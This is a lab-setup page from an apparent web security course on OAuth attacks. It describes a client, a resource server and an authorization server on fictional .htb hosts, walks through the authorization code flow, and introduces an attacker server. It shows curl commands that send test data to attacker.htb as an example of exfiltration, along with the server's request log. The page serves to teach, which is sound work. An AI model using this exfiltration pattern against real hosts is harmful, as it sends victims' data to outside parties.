OAuth Lab Setup

---

Before discussing vulnerabilities in incorrect OAuth implementations, let us first take a look at the labs we will be working with in the upcoming sections. Due to the complexity of the OAuth flow, the labs will be provided in optional exercises. Feel free to start the lab in each section to go along with the content. For simplicity's sake, we will focus on the authorization code flow in the upcoming sections. However, most attacks work the same or with only minor changes with the implicit code flow as well.

The labs consist of four different components:

• The OAuth Client: All routes under the prefix /client/
• The OAuth Resource Server: All routes under the prefix /resource/
• The OAuth Authorization Server: All routes under the prefix /authorization/
• An Attacker Server: All routes under the virtual host attacker.htb

The lab setup is chosen for technical reasons. In particular, the client, resource server, and authorization server do not run on different virtual hosts but only different URL-paths. In a real world setting, these entities would most likely be hosted on different domains or subdomains. However, this does not affect the OAuth flow or any of the attacks we will discuss in upcoming sections. Furthermore, outgoing connections are disabled for the lab, so all exfiltration has to be done through the provided attacker server.

---

OAuth Client

The OAuth client is the imaginary cybersecurity training platform academy.htb. We can access the client by visiting the /client/ URL:

---

OAuth Resource Server and Authorization Server

The OAuth resource server and authorization server are represented by the imaginary version control platform hubgit.htb. While the authorization server is only used in the OAuth flow and there is no need to interact with it directly, we can interact with the resource server by accessing the /resource/ URL:

---

OAuth Flow

Now, let us take a look at an example OAuth flow in our lab setup.

When accessing the client and attempting to log in with the provided credentials, we can see that authentication at the client is not implemented yet:

However, instead of logging in to academy.htb directly, we can click on the Log in with your HubGit.htb Account button below the login form to start authenticating to academy.htb with our hubgit.htb account using OAuth.

Authorization Request

Clicking this button sends the Authorization Request to the authorization server:

Resource Owner Authentication

In the browser, we can see the authorization prompt where we can login with our hubgit.htb credentials:

Authorization Grant

Logging in in the browser window, results in a redirect back to the client:

The browser follows the redirect which is the authorization grant:

As we can see, the response to the authorization grant already contains the access token. That is because the access token request and access token grant do not run through our browser but are implemented through server-to-server communication. More precisely, the client directly sends the access token request to the authorization server. Therefore, this request is invisible to us and we cannot see it in our proxy.

User data

Now that the client successfully obtained an access token, we are authenticated to the client academy.htb:

Just like the access token request and access token grant, the resource request and resource response are server-to-server communication as well. So we can now see our hubgit.htb account's user details in the browser:

The account details were requested by academy.htb directly. So, again, this part is invisible to us.

Now that the process has concluded, academy.htb accessed details from our hubgit.htb account without the need for our user credentials.

---

Attacker Server

The final lab component is the attacker server at the separate virtual host attacker.htb. This simulates a separate system under the control of an attacker, and we will use it in upcoming sections to demonstrate how to exfiltrate data to it.

The attacker server logs all request parameters of all requests made to it, including GET parameters, POST parameters, and HTTP headers. Logged data can be accessed at the /log endpoint.

For instance, we can make the following HTTP request, assuming we are exfiltrating data via the two parameters param1 and param2:

[!bash!]$ curl -X POST --data 'param1=Hello' http://attacker.htb/?param2=World

Afterward, we can retrieve the log to view the exfiltrated data:

[!bash!]$ curl http://attacker.htb/log

-----
/?param2=World
Host: exfiltrate.htb
User-Agent: curl/7.88.1
Accept: */*
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 172.17.0.1
X-Forwarded-Host: exfiltrate.htb
X-Forwarded-Server: exfiltrate.htb
Content-Length: 12
Connection: Keep-Alive


param1=Hello

We can also access the log in a web browser: